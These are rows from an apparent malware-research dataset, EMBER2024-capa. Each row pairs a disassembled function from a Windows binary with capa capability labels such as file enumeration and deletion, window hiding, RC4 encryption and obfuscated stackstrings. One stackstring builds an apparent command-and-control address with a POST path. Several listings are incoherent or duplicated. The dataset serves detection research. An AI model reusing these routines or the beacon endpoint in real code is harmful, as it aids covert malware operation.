joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a5900
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4a596b
cmp byte [ebx + 0xd3], 0
jne 0x4a596b
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406974
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4a5958
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4a5978
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406838
jmp 0x4a5978
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406838
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4a71a0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4a720e
mov eax, esi
call fcn.0047f940
test al, al
je 0x4a720e
mov eax, dword [ebx + 0x84]
call fcn.0047f594
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4a720e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4a7202
push 0
mov eax, dword [ebx + 0x84]
call fcn.0047f594
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00476568
jmp 0x4a720e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004a6fd8
pop esi
pop ebx
ret
Function at 0x4a8f44
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd90
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a913e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x426f20]
call fcn.00432d50
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x4a9111
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x264]
xor ecx, ecx
mov edx, 0x250
call fcn.0040476c
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x268]
mov ecx, 0x4a9158
mov edx, dword [ebp - 8]
call fcn.00406cf4
mov eax, dword [ebp - 0x268]
call fcn.004068c4
push eax
call sub.kernel32.dll_FindFirstFileW_1
mov esi, eax
cmp esi, 0xffffffff
je 0x4a904c
lea edx, [ebp - 4]
lea eax, [ebp - 0x238]
call fcn.00411d58
test byte [ebp - 0x264], 0x10
je 0x4a9002
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x4a9035
cmp byte [ebp - 9], 0
je 0x4a9028
lea eax, [ebp - 0x26c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00406cf4
mov edx, dword [ebp - 0x26c]
mov eax, ebx
call fcn.004a9304
jmp 0x4a9035
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004a9194
lea eax, [ebp - 0x264]
push eax
push esi
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x4a8fde
push esi
call sub.kernel32.dll_FindClose_1
mov dl, 1
mov eax, dword [ebp - 0x14]
call fcn.00432c8c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x4a90eb
inc esi
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 4]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 4]
mov edx, 0x4a916c
call fcn.00406ef8
je 0x4a90e5
mov eax, dword [ebp - 4]
mov edx, 0x4a917c
call fcn.00406ef8
je 0x4a90e5
cmp byte [ebp - 9], 0
jne 0x4a90b9
mov eax, dword [ebx + 0x3e8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x54]
test eax, eax
jge 0x4a90b9
xor eax, eax
jmp 0x4a90bb
mov al, 1
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push 0x4a9190
lea eax, [ebp - 0x270]
mov edx, 3
call fcn.00406dd8
mov edx, dword [ebp - 0x270]
mov eax, ebx
pop ecx
call fcn.004a8f44
inc dword [ebp - 0x10]
dec esi
jne 0x4a9071
cmp byte [ebp - 9], 0
je 0x4a90fb
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004a93dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9118
mov eax, dword [ebp - 0x14]
call fcn.00404da8
ret
Function at 0x4a9304
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x3d4], 0
je 0x4a932a
mov ecx, esi
mov edx, 0x4a9398
mov eax, ebx
call fcn.004a948c
inc dword [ebx + 0x3d8]
pop esi
pop ebx
ret
cmp byte [ebx + 0x3d5], 0
je 0x4a9345
push 0x80
mov eax, esi
call fcn.004068c4
push eax
call sub.kernel32.dll_SetFileAttributesW
mov eax, esi
call fcn.004068c4
push eax
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x4a9372
mov ecx, esi
mov edx, 0x4a93b0
mov eax, ebx
call fcn.004a948c
inc dword [ebx + 0x3d8]
jmp 0x4a9386
mov ecx, esi
mov edx, 0x4a93cc
mov eax, ebx
call fcn.004a948c
inc dword [ebx + 0x3dc]
pop esi
pop ebx
ret
Function at 0x40532c
Capabilities:
Terminate process

Disassembly:
or dh, bh
lea ebx, [0xb06f2933]
call 0x40540b
bswap esi
bswap esi
shl al, 0xb9
movsx edx, bp
movzx ebx, bh
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
test bh, 0x4e
movsx eax, cl
cmp al, dl
mov ebx, 0xfa54c
test ebx, 0x56ca97d6
add ebx, 0xb72e
imul eax, ecx, 0x4441e77c
lea esi, [ebx]
shr eax, cl
sub esi, 0xc8d
test cl, 0x79
xchg esi, edi
xchg ebx, esi
sbb al, bl
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ror ebx, cl
not eax
bswap eax
rcr ah, cl
mov esi, 0xfffff2e0
xor eax, 0x132772e8
cmp eax, 0x4171b892
mov eax, 0x94be8294
movzx eax, bp
mov ebx, esi
neg ah
test ebx, 0x289157a3
mov al, ch
test ebp, esi
shl esi, 1
mov edx, ebx
movzx eax, si
mov ah, dh
add edx, 0xd20
not esi
xor edx, edi
sub edx, 0xb6adf
mov edi, 0x93899c89
push edx
mov bh, bl
mov edi, 0x5b43e225
lea esi, [0xb7f0c580]
movzx ebx, dx
xchg esi, eax
neg bl
pop ebp
lea esi, [0x75f2772f]
xor ebp, 0x41333
or edx, 0x38638c8c
xor ecx, ebp
movsx ebp, dh
lea edx, [0xa72af660]
dec ch
adc ebp, esi
lea ebp, [0x67802594]
mov dl, 0x10
rcr esi, cl
add eax, eax
and ebx, ecx
mov ecx, eax
pop ebx
imul ecx, ecx
call fcn.0043d282
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x40544d
movzx eax, word [ebp - 0x2c]
jmp 0x405450
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x40540b
Capabilities:
Terminate process

Disassembly:
or dh, bh
lea ebx, [0xb06f2933]
call 0x40540b
bswap esi
bswap esi
shl al, 0xb9
movsx edx, bp
movzx ebx, bh
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
test bh, 0x4e
movsx eax, cl
cmp al, dl
mov ebx, 0xfa54c
test ebx, 0x56ca97d6
add ebx, 0xb72e
imul eax, ecx, 0x4441e77c
lea esi, [ebx]
shr eax, cl
sub esi, 0xc8d
test cl, 0x79
xchg esi, edi
xchg ebx, esi
sbb al, bl
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ror ebx, cl
not eax
bswap eax
rcr ah, cl
mov esi, 0xfffff2e0
xor eax, 0x132772e8
cmp eax, 0x4171b892
mov eax, 0x94be8294
movzx eax, bp
mov ebx, esi
neg ah
test ebx, 0x289157a3
mov al, ch
test ebp, esi
shl esi, 1
mov edx, ebx
movzx eax, si
mov ah, dh
add edx, 0xd20
not esi
xor edx, edi
sub edx, 0xb6adf
mov edi, 0x93899c89
push edx
mov bh, bl
mov edi, 0x5b43e225
lea esi, [0xb7f0c580]
movzx ebx, dx
xchg esi, eax
neg bl
pop ebp
lea esi, [0x75f2772f]
xor ebp, 0x41333
or edx, 0x38638c8c
xor ecx, ebp
movsx ebp, dh
lea edx, [0xa72af660]
dec ch
adc ebp, esi
lea ebp, [0x67802594]
mov dl, 0x10
rcr esi, cl
add eax, eax
and ebx, ecx
mov ecx, eax
pop ebx
imul ecx, ecx
call fcn.0043d282
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x40544d
movzx eax, word [ebp - 0x2c]
jmp 0x405450
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x10001060
Capabilities:
Create thread
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
test eax, eax
jne 0x10001090
mov eax, dword [0x100089b0]
test eax, eax
je 0x1000114a
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add esp, 0x208
ret 0xc
cmp eax, 1
jne 0x1000114a
mov eax, dword [esp + 0x20c]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100089ac], eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x10]
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.iphlpapi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
test eax, eax
mov dword [0x100089b0], eax
pop ebx
je 0x10001158
push str.GetAdaptersInfo
call fcn.10001030
push 0
push 0
push 0
push 0x10001170
push 0
push 0
mov dword [0x100089a0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add esp, 0x208
ret 0xc
xor eax, eax
add esp, 0x208
ret 0xc

Function at 0x100013c0
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1000141e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000141e
mov edx, dword [ecx + 0x30]
test edx, edx
je 0x1000141e
mov edx, dword [ecx + 0x20]
test edx, edx
je 0x1000141e
xor edx, edx
mov dx, word [ecx + 0x14]
lea ecx, [edx + ecx + 0x18]
mov edx, dword [ecx + 0xc]
mov ecx, dword [ecx + 8]
add edx, eax
lea eax, [ecx + edx - 0xd]
cmp edx, eax
jae 0x1000141e
mov ecx, 0xd
mov edi, 0x10004050
mov esi, edx
xor ebx, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x10001424
inc edx
cmp edx, eax
jb 0x10001407
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov dword [0x10008ddc], edx
mov edx, dword [edx - 4]
test edx, edx
mov dword [0x10008dd4], edx
je 0x10001444
mov eax, dword [edx]
mov dword [0x10008dd8], eax
mov dword [edx], 0x100013b0
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x4050b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
inc esp
in al, dx
sbb byte [ecx + 0x57d070], ah
xor ebx, dword [ecx - 0x77]
inc ebp
pop ds
push esi
mov esi, dword [ebp + 8]
push edi
push 0x8c00f380
push 0
push cs
mov edi, ecx
call fcn.00472030
pminsw mm0, qword [ebx + 0x444a4c34]
mov al, byte [0x4a3c44]
add esp, 0xc
mov byte [ebp - 8], al
xor ecx, ecx
push edx
adc dword [ebp - 0x18], eax
nop dword [eax]
movzx edi, byte [ecx + edi]
lea esi, [esi + 2]
rcl dword [eax + 0x3b], 0xf
mov dh, 0x44
add eax, 0xfee088e8
movzx eax, byte [ecx + edi]
inc ecx
and eax, 0xfffffff0
movzx ebp, byte [ebx]
add eax, 0xff46883c
and edi, ecx
ja 0x405188
invalid
pop ss
pop es
add byte [edx - 0x34d3f028], cl
push ecx
mov edx, 0x80444d7c
add esp, 8
movzx ecx, bl
test eax, eax
and al, 0x30
add byte [bx + si], al
cmovne esp, dword [ecx]
lds ebx, [edx]
aaa
inc ebp
and ebp, eax
sbb dh, byte [edi]
salc
insd dword es:[edi], dx
adc al, 0x37
aaa
stc
jno 0x4051ce
sar byte [ecx + ecx], 1
ja 0x405199
or ch, cl
mov byte [edi + esi], al
jmp 0x4051a8
lea eax, [ecx - 0x61]
cmp al, 5
ja 0x405180
test al, 0xe9
push edi
or cl, dl
mov byte [edi + esi], cl
cmp bh, 2
jne 0x4051ca
mov bh, byte [eax]
pop ebp
test al, al
je 0x4051c4
in al, 0xbe
rcl byte [eax - 0x18], 2
dec ebp
pop es
add byte [ebx - 0x3f6aa94d], al
je fcn.004051d0
inc edi
xor bh, dh
mov byte [edi + esi], bh
mov edx, dword [ebp - 4]
inc eax
jmp 0x405164

Function at 0x405ff7
Capabilities:
Hash data with crc32

Disassembly:
sub edx, 0x20
add byte [eax], al
nop dword [eax]
dec esp
add cl, byte [edi]
mov dh, 0xc8
shr eax, 0xa0
xor eax, dword [ecx*4 + 0x4a4d78]
movzx ecx, al
shl eax, 8
xor ebx, dword [edi + 0x4a4d78ba]
add byte [edi], cl
mov dh, 0xc8
lahf
mov edx, 0x4a4d78
movzx ecx, al
ror dword [eax + ecx], 0x33
xchg ebp, eax
lea edi, [eax + 0x4d]
dec edx
add byte [edx - 0x175061f8], al
or dh, bl
add al, 0x8d
dec ebp
dec edx
add byte [edi + 0x42], bh
insb byte es:[edi], dx
pcmpgtw mm1, mm0
shr eax, 8
xor esp, dword [eax + 0x4a47788d]
add byte [edi], cl
mov dh, 0xc8
shr eax, 8
xor eax, dword [ecx + ebx*4]
js 0x406016
dec edx
add byte [edi], cl
mov dh, 0xc8
inc ebp
call 0x65449364
js 0x4060ab
dec edx
add byte [edi], cl
mov dh, 0xc8
sal dword [edx + 8], 0x33
add al, 0x8d
js 0x4060b8
dec edx
add byte [ebx], dh
inc edx
or dl, bh
mov dh, 0xc8
shr eax, 0x4c
xor esp, ebx
invalid
mov dh, 0xc8
shr eax, 0xb0
xor eax, dword [ecx*4 + 0x244a4d78]
movzx ebp, byte [ebx - 0x72f7173f]
add al, 0x52
mov dh, 0xab
shr eax, 8
lea eax, [edx + edx*2]
js 0x40610f
dec edx
add ah, bh
mov dh, 0xc8
shr eax, 8
xor eax, dword [ecx*4 + 0xb24d06]
sbb cl, byte [esi]
enter 0x4edd, 8
xor esp, dword [esi + 0x4a4d3e8d]
add byte [ebx], bh
xlatb
jb 0xe0406000
and esi, 0xf
xchg esp, eax
call dword [ebx + 0x51]
fisttp dword [ebp - 0x2ec4e9f4]
push ss
cmp edx, ecx
and al, 0x47
pop esp
ror edx, cl
je 0x4060f0
nop dword [eax + eax]
movzx ecx, byte [edx]
lea edx, [edx + 0x48]
xor ecx, eax
insd dword es:[edi], dx
movzx ecx, cl
shr eax, 8
hlt
Function at 0x4742e1
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
outsb dx, byte [esi]
in al, dx
add al, 0x70
wait
dec esp
out dx, al
and eax, 0x1f
push 0x20
pop ecx
sub ecx, eax
push cs
inc ebp
or bl, dl
enter 0x533, 0x70
shl dh, 1
add byte [ebp - 0x3d], bl
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cli
leave
xchg dword [ecx + 0x57], esp
lea ebx, [eax*4 + 0x6e48fc]
xor esi, edi
sub dword [edi], ecx
mov cl, 0xb
mov edx, dword [0x4366d070]

Function at 0x474393
Capabilities:
Allocate thread local storage

Disassembly:
or edi, 0xffffffff
mov ecx, edx
mov esi, edx
and ecx, 0x1f
xor esi, eax
ror esi, cl
cmp esi, edi
add dword [ecx - 0x7b], ebp
div byte [esp + eax - 0x75]
invalid
jne 0x4742ff
or byte [ecx], ch
jmp dword [eax - 0x5900aff4]
jmp 0x47433d
add al, dh
cmpxchg dword [edi], ecx
jo 0x474362
test dword [edx + 0x74], edx
or ecx, dword [ebp - 0x2708fe97]
dec edx
rcl byte [eax - 0x3f], 0xeb
push ebp
mov ebx, dword [ebx*4 + 0x49b814]
push esi
push 0x89e
push 0
push ebx
xchg edi, eax
std
cwde
dec ecx
add byte [ebx + 0x75f685f0], cl
daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4743dd
jns 0x474428
push ebx
jmp edi
xor esi, esi
test esi, esi
mov ebx, 0x5dc88309
xchg dword [edi], eax
xor eax, eax
jmp 0x4743fd
pop esi
pop edi
pop ebx
pop ebp
push ebp
mov ebp, esp
push esi
push 0xe3f3cc
invalid
mov ecx, esi
call fcn.0046ebed
call esi
pop esi
pop ebp
dec ecx
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret
Function at 0x409da5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xc], 0
jmp 0x409dd9
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x409e8b
mov edx, dword [ebp - 8]
add edx, 1
and edx, 0x800000ff
jns 0x409dfb
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x10]
and ecx, 0x800000ff
jns 0x409e1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ebp - 1]
mov byte [ecx], dl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx]
add ecx, eax
and ecx, 0x800000ff
jns 0x409e67
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x14]
movzx edx, byte [ecx]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
jmp 0x409dd0
mov esp, ebp
pop ebp
ret

Function at 0x409fb5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov byte [ebp - 0x14], 0x6d
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x44
mov byte [ebp - 0x11], 0x30
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xf], 0x56
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x54
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x46
mov byte [ebp - 9], 0x53
mov byte [ebp - 8], 0x68
mov byte [ebp - 7], 0x68
mov byte [ebp - 6], 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1cc]
call edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a032
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x78]
call ecx
cmp eax, 0xb7
jne 0x40a02d
xor eax, eax
jmp 0x40a032
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40a269
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x90], 0x6c
mov byte [ebp - 0x8f], 0
mov byte [ebp - 0x8e], 0x61
mov byte [ebp - 0x8d], 0
mov byte [ebp - 0x8c], 0x71
mov byte [ebp - 0x8b], 0
mov byte [ebp - 0x8a], 0x74
mov byte [ebp - 0x89], 0
mov byte [ebp - 0x88], 0x2d
mov byte [ebp - 0x87], 0
mov byte [ebp - 0x86], 0x31
mov byte [ebp - 0x85], 0
add dh, al
test dword [edi + edi*8 - 1], edi
push dword [ebx]
mov byte [ebp - 0x83], 0
mov byte [ebp - 0x82], 0x31
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x80], 0x39
mov byte [ebp - 0x7f], 0
mov byte [ebp - 0x7e], 0x35
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7c], 0x38
mov byte [ebp - 0x7b], 0
mov byte [ebp - 0x7a], 0x34
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x78], 0x30
mov byte [ebp - 0x77], 0
mov byte [ebp - 0x76], 0x30
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x74], 0x39
mov byte [ebp - 0x73], 0
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0
inc ebp
pop dword [eax]
mov byte [ebp - 0x70], 0x62
mov byte [ebp - 0x6f], 0
mov byte [ebp - 0x6e], 0x6a
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 0x2e
mov byte [ebp - 0x6b], 0
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0
mov byte [ebp - 0x66], 0x6e
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x64], 0x63
mov byte [ebp - 0x63], 0
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x60], 0x6e
mov byte [ebp - 0x5f], 0
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0
mov byte [ebp - 0x5c], 0x61
mov byte [ebp - 0x5b], 0
mov byte [ebp - 0x5a], 0x70
mov byte [ebp - 0x59], 0
mov byte [ebp - 0x58], 0x69
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x67
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0x77
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0x6f
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x6d
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0
mov bh, 0
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0
mov byte [ebp - 0x46], 0x6e
mov byte [ebp - 0x45], 0
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x34], 0x2f
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x32], 0x6b
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x40], 0x50
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3e], 0x4f
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x3a], 0x54
mov byte [ebp - 0x39], 0
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0
jmp 0x40a424
push 0x100
push 0
lea edx, [ebp - 0x1d4]
push edx
call fcn.00409975
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00409fb5
add esp, 4
test eax, eax
jne 0x40a451
xor eax, eax
jmp 0x40ac0e
jmp 0x40a454
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a45d
je 0x40a45e
invalid
pop ebx
jmp 0x40a462
push 0x56b8
mov ecx, dword [ebp + 8]